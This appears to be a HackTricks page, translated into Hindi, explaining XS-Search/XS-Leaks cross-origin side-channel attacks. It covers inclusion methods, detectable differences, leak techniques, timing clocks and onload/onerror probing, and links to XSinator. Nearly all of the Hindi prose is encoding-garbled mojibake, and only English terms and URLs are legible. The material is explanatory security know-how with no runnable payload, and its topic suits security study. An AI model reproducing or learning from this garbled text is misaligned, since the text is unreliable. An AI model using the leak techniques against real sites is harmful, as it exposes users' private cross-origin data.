XS-Search/XS-Leaks

**** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рдмрд╕реЗ рдЙрдиреНрдирдд рд╕рд╛рдореБрджрд╛рдпрд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣реЛрдВ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрдирд╛рдПрдВ рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░реЗрдВред рдЖрдЬ рд╣реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА

XS-Search рдПрдХ рд╡рд┐рдзрд┐ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд╕рд╛рдЗрдб рдЪреИрдирд▓ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЗрд╕ рд╣рдорд▓реЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдореБрдЦреНрдп рдШрдЯрдХ рд╣реИрдВ:

  • рдХрдордЬреЛрд░ рд╡реЗрдм: рд▓рдХреНрд╖рд┐рдд рд╡реЗрдмрд╕рд╛рдЗрдЯ рдЬрд┐рд╕рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛рдиреА рд╣реИред

  • рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ рд╡реЗрдм: рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдИ рдЧрдИ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╡реЗрдмрд╕рд╛рдЗрдЯ, рдЬрд┐рд╕реЗ рдкреАрдбрд╝рд┐рдд рд╡рд┐рдЬрд┐рдЯ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╢реЛрд╖рдг рдХреЛ рд╣реЛрд╕реНрдЯ рдХрд░рддреА рд╣реИред

  • рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рд╡рд┐рдзрд┐: рдХрдордЬреЛрд░ рд╡реЗрдм рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╡реЗрдм рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рддрдХрдиреАрдХ (рдЬреИрд╕реЗ, window.open, iframe, fetch, href рдХреЗ рд╕рд╛рде HTML рдЯреИрдЧ, рдЖрджрд┐)ред

  • рд▓реАрдХ рддрдХрдиреАрдХ: рдХрдордЬреЛрд░ рд╡реЗрдм рдХреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдЕрдВрддрд░ рдХреЛ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рддрдХрдиреАрдХреЗрдВ рдЬреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рд╡рд┐рдзрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХрддреНрд░ рдХреА рдЧрдИ рдЬрд╛рдирдХрд╛рд░реА рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддреА рд╣реИрдВред

  • рд░рд╛рдЬреНрдп: рдХрдордЬреЛрд░ рд╡реЗрдм рдХреА рджреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд╕реНрдерд┐рддрд┐рдпрд╛рдБ, рдЬрд┐рдиреНрд╣реЗрдВ рд╣рдорд▓рд╛рд╡рд░ рдкрд╣рдЪрд╛рдирдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред

  • рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдпреЛрдЧреНрдп рдЕрдВрддрд░: рдЕрд╡рд▓реЛрдХрдиреАрдп рднрд┐рдиреНрдирддрд╛рдПрдБ рдЬрд┐рди рдкрд░ рд╣рдорд▓рд╛рд╡рд░ рдХрдордЬреЛрд░ рд╡реЗрдм рдХреА рд╕реНрдерд┐рддрд┐ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред

рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдпреЛрдЧреНрдп рдЕрдВрддрд░

рдХрдордЬреЛрд░ рд╡реЗрдм рдХреА рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЛ рдЕрд▓рдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдкрд╣рд▓реБрдУрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

  • рд╕реНрдерд┐рддрд┐ рдХреЛрдб: рд╡рд┐рднрд┐рдиреНрди HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХрд░рдирд╛, рдЬреИрд╕реЗ рд╕рд░реНрд╡рд░ рддреНрд░реБрдЯрд┐рдпрд╛рдБ, рдХреНрд▓рд╛рдЗрдВрдЯ рддреНрд░реБрдЯрд┐рдпрд╛рдБ, рдпрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рддреНрд░реБрдЯрд┐рдпрд╛рдБред

  • API рдЙрдкрдпреЛрдЧ: рдкреГрд╖реНрдареЛрдВ рдХреЗ рдмреАрдЪ рд╡реЗрдм APIs рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛, рдпрд╣ рдкреНрд░рдХрдЯ рдХрд░рдирд╛ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрда рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╡реЗрдм API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред

  • рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕: рд╡рд┐рднрд┐рдиреНрди рдкреГрд╖реНрдареЛрдВ рдкрд░ рдиреЗрд╡рд┐рдЧреЗрд╢рди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛, рди рдХреЗрд╡рд▓ HTTP рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ рдмрд▓реНрдХрд┐ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╛ HTML рджреНрд╡рд╛рд░рд╛ рдЯреНрд░рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рднреАред

  • рдкреГрд╖реНрда рд╕рд╛рдордЧреНрд░реА: HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ рдпрд╛ рдкреГрд╖реНрда рдЙрдк-рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдореЗрдВ рдЕрд╡рд▓реЛрдХрди рдХрд░рдирд╛, рдЬреИрд╕реЗ рд╕рдВрд▓рдЧреНрди рдлреНрд░реЗрдо рдХреА рд╕рдВрдЦреНрдпрд╛ рдпрд╛ рдЫрд╡рд┐рдпреЛрдВ рдореЗрдВ рдЖрдХрд╛рд░ рдХреЗ рдЕрдВрддрд░ред

  • HTTP рд╣реЗрдбрд░: рд╡рд┐рд╢рд┐рд╖реНрдЯ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдпрд╛ рд╕рдВрднрд╡рддрдГ рдЙрд╕рдХреЗ рдорд╛рди рдХреЛ рдиреЛрдЯ рдХрд░рдирд╛, рдЬрд┐рд╕рдореЗрдВ X-Frame-Options, Content-Disposition, рдФрд░ Cross-Origin-Resource-Policy рдЬреИрд╕реЗ рд╣реЗрдбрд░ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред

  • рд╕рдордп: рджреЛрдиреЛрдВ рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рдмреАрдЪ рд▓рдЧрд╛рддрд╛рд░ рд╕рдордп рдХреЗ рдЕрдВрддрд░ рдХреЛ рдиреЛрдЯ рдХрд░рдирд╛ред

рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рд╡рд┐рдзрд┐рдпрд╛рдБ

  • HTML рддрддреНрд╡: HTML рд╡рд┐рднрд┐рдиреНрди рддрддреНрд╡реЛрдВ рдХреА рдкреЗрд╢рдХрд╢ рдХрд░рддрд╛ рд╣реИ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрди рд╕рдорд╛рд╡реЗрд╢ рдХреЗ рд▓рд┐рдП, рдЬреИрд╕реЗ рд╕реНрдЯрд╛рдЗрд▓рд╢реАрдЯ, рдЫрд╡рд┐рдпрд╛рдБ, рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рдЬреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдПрдХ рдЧреИрд░-HTML рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд HTML рддрддреНрд╡реЛрдВ рдХрд╛ рд╕рдВрдХрд▓рди https://github.com/cure53/HTTPLeaks рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

  • рдлреНрд░реЗрдо: рддрддреНрд╡ рдЬреИрд╕реЗ iframe, object, рдФрд░ embed HTML рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд╕реАрдзреЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдкреГрд╖реНрда рдореЗрдВ рдПрдореНрдмреЗрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдкреГрд╖реНрда рдлреНрд░реЗрдорд┐рдВрдЧ рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдХрдореА рд╣реИ, рддреЛ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдлреНрд░реЗрдо рдХрд┐рдП рдЧрдП рд╕рдВрд╕рд╛рдзрди рдХреА рд╡рд┐рдВрдбреЛ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ contentWindow рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

  • рдкреЙрдк-рдЕрдк: window.open рд╡рд┐рдзрд┐ рдПрдХ рдирдП рдЯреИрдм рдпрд╛ рд╡рд┐рдВрдбреЛ рдореЗрдВ рдПрдХ рд╕рдВрд╕рд╛рдзрди рдЦреЛрд▓рддреА рд╣реИ, рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╡рд┐рдзрд┐рдпреЛрдВ рдФрд░ рдЧреБрдгреЛрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рдВрдбреЛ рд╣реИрдВрдбрд▓ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ рдЬреЛ SOP рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреА рд╣реИред рдкреЙрдк-рдЕрдк, рдЬреЛ рдЕрдХреНрд╕рд░ рд╕рд┐рдВрдЧрд▓ рд╕рд╛рдЗрди-рдСрди рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рд▓рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрди рдХреА рдлреНрд░реЗрдорд┐рдВрдЧ рдФрд░ рдХреБрдХреА рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдкреЙрдк-рдЕрдк рдирд┐рд░реНрдорд╛рдг рдХреЛ рдХреБрдЫ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░рд┐рдпрд╛рдУрдВ рддрдХ рд╕реАрдорд┐рдд рдХрд░рддреЗ рд╣реИрдВред

  • рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдиреБрд░реЛрдз: рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реАрдзреЗ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ XMLHttpRequests рдпрд╛ Fetch API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред рдпреЗ рд╡рд┐рдзрд┐рдпрд╛рдБ рдЕрдиреБрд░реЛрдз рдкрд░ рд╕рдЯреАрдХ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВ, рдЬреИрд╕реЗ HTTP рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдкред

рд▓реАрдХ рддрдХрдиреАрдХреЗрдВ

  • рдЗрд╡реЗрдВрдЯ рд╣реИрдВрдбрд▓рд░: XS-Leaks рдореЗрдВ рдПрдХ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд▓реАрдХ рддрдХрдиреАрдХ, рдЬрд╣рд╛рдБ рдЗрд╡реЗрдВрдЯ рд╣реИрдВрдбрд▓рд░ рдЬреИрд╕реЗ onload рдФрд░ onerror рд╕рдВрд╕рд╛рдзрди рд▓реЛрдбрд┐рдВрдЧ рдХреА рд╕рдлрд▓рддрд╛ рдпрд╛ рд╡рд┐рдлрд▓рддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред

  • рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢: рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдкрд╡рд╛рдж рдпрд╛ рд╡рд┐рд╢реЗрд╖ рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рд▓реАрдХ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЪрд╛рд╣реЗ рд╕реАрдзреЗ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рд╕реЗ рдпрд╛ рдЗрд╕рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдФрд░ рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХрд░рдХреЗред

  • рд╡реИрд╢реНрд╡рд┐рдХ рд╕реАрдорд╛рдПрдБ: рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреА рднреМрддрд┐рдХ рд╕реАрдорд╛рдПрдБ, рдЬреИрд╕реЗ рдореЗрдореЛрд░реА рдХреНрд╖рдорддрд╛ рдпрд╛ рдЕрдиреНрдп рд▓рд╛рдЧреВ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реАрдорд╛рдПрдБ, рдЬрдм рдПрдХ рд╕реАрдорд╛ рддрдХ рдкрд╣реБрдБрдЪ рдЬрд╛рддреА рд╣реИрдВ рддреЛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреА рд╣реИрдВ, рдЬреЛ рдПрдХ рд▓реАрдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИрдВред

  • рд╡реИрд╢реНрд╡рд┐рдХ рд╕реНрдерд┐рддрд┐: рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреА рд╡реИрд╢реНрд╡рд┐рдХ рд╕реНрдерд┐рддрд┐рдпреЛрдВ (рдЬреИрд╕реЗ, рдЗрддрд┐рд╣рд╛рд╕ рдЗрдВрдЯрд░рдлреЗрд╕) рдХреЗ рд╕рд╛рде рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдпреЛрдЧреНрдп рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдЗрддрд┐рд╣рд╛рд╕ рдореЗрдВ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрдареЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реБрд░рд╛рдЧ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреА рд╣реИред

  • рдкреНрд░рджрд░реНрд╢рди API: рдпрд╣ API рд╡рд░реНрддрдорд╛рди рдкреГрд╖реНрда рдХреЗ рдкреНрд░рджрд░реНрд╢рди рд╡рд┐рд╡рд░рдг рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдФрд░ рд▓реЛрдб рдХрд┐рдП рдЧрдП рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рд╕рдордп рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдЕрдиреБрд░реЛрдзрд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред

  • рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ: рдХреБрдЫ HTML рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рд╣реЛрддреА рд╣реИрдВ рдФрд░ рд▓реАрдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, window.frame.length рдкреНрд░реЙрдкрд░реНрдЯреА рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдПрдХ рд╡реЗрдмрдкреГрд╖реНрда рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдлреНрд░реЗрдореЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдЧрд┐рдирдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред

XSinator рдЙрдкрдХрд░рдг рдФрд░ рдкреЗрдкрд░

XSinator рдПрдХ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ рдХрдИ рдЬреНрдЮрд╛рдд XS-Leaks рдХреЗ рдЦрд┐рд▓рд╛рдл рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдЗрд╕рдХреЗ рдкреЗрдкрд░ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ: https://xsinator.com/paper.pdf

рдЖрдк рдЙрдкрдХрд░рдг рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ https://xsinator.com/

рдмрд╣рд┐рд╖реНрдХреГрдд XS-Leaks: рд╣рдореЗрдВ рдЙрди XS-Leaks рдХреЛ рдмрд╣рд┐рд╖реНрдХреГрдд рдХрд░рдирд╛ рдкрдбрд╝рд╛ рдЬреЛ рд╕реЗрд╡рд╛ рд╢реНрд░рдорд┐рдХреЛрдВ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ XSinator рдореЗрдВ рдЕрдиреНрдп рд▓реАрдХ рдХреЗ рд╕рд╛рде рд╣рд╕реНрддрдХреНрд╖реЗрдк рдХрд░реЗрдВрдЧреЗред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╣рдордиреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рдмрдЧ рдкрд░ рдирд┐рд░реНрднрд░ XS-Leaks рдХреЛ рднреА рдмрд╣рд┐рд╖реНрдХреГрдд рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, CrossOrigin Resource Sharing (CORS) рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди, postMessage рд▓реАрдХ рдпрд╛ Cross-Site Scriptingред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рд╣рдордиреЗ рд╕рдордп рдЖрдзрд╛рд░рд┐рдд XS-Leaks рдХреЛ рднреА рдмрд╣рд┐рд╖реНрдХреГрдд рдХрд┐рдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдЕрдХреНрд╕рд░ рдзреАрдореЗ, рд╢реЛрд░ рд╡рд╛рд▓реЗ рдФрд░ рдЕрд╕рдВрдЧрдд рд╣реЛрддреЗ рд╣реИрдВред

Trickest рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рдмрд╕реЗ рдЙрдиреНрдирдд рд╕рд╛рдореБрджрд╛рдпрд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣реЛрдВ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрдирд╛рдПрдВ рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░реЗрдВред рдЖрдЬ рд╣реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

рд╕рдордп рдЖрдзрд╛рд░рд┐рдд рддрдХрдиреАрдХреЗрдВ

рдХреБрдЫ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрдХрдиреАрдХреЗрдВ рд╕рдордп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реА рд╣реИрдВ рддрд╛рдХрд┐ рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдХреА рд╕рдВрднрд╛рд╡рд┐рдд рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдПрдХ рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рд╕рдордп рдорд╛рдкрдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рд╣реИрдВред

рдШрдбрд╝рд┐рдпрд╛рдБ: performance.now() API рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдЙрдЪреНрдЪ-рд░рд┐рдЬрд╝реЙрд▓реНрдпреВрд╢рди рд╕рдордп рдорд╛рдк рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рд╣рдорд▓рд╛рд╡рд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдХрдИ APIs рд╣реИрдВ рдЬреЛ рдирд┐рд╣рд┐рдд рдШрдбрд╝рд┐рдпрд╛рдБ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS рдПрдирд┐рдореЗрд╢рди, рдФрд░ рдЕрдиреНрдпред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП: https://xsleaks.dev/docs/attacks/timing-attacks/clocksред

рдЗрд╡реЗрдВрдЯ рд╣реИрдВрдбрд▓рд░ рддрдХрдиреАрдХреЗрдВ

рдСрдирд▓реЛрдб/рдСрдирдПрд░рд░

  • рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рд╡рд┐рдзрд┐рдпрд╛рдБ: рдлреНрд░реЗрдо, HTML рддрддреНрд╡

  • рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдпреЛрдЧреНрдп рдЕрдВрддрд░: рд╕реНрдерд┐рддрд┐ рдХреЛрдб

  • рд╕рд╛рд░рд╛рдВрд╢: рдпрджрд┐ рдПрдХ рд╕рдВрд╕рд╛рдзрди рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╕рдордп onerror/onload рдЗрд╡реЗрдВрдЯ рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреЗ рд╣реИрдВ рдЬрдм рд╕рдВрд╕рд╛рдзрди рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ/рдЕрд╕рдлрд▓рддрд╛ рд╕реЗ рд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ, рддреЛ рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИред

  • рдХреЛрдб рдЙрджрд╛рд╣рд░рдг: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)

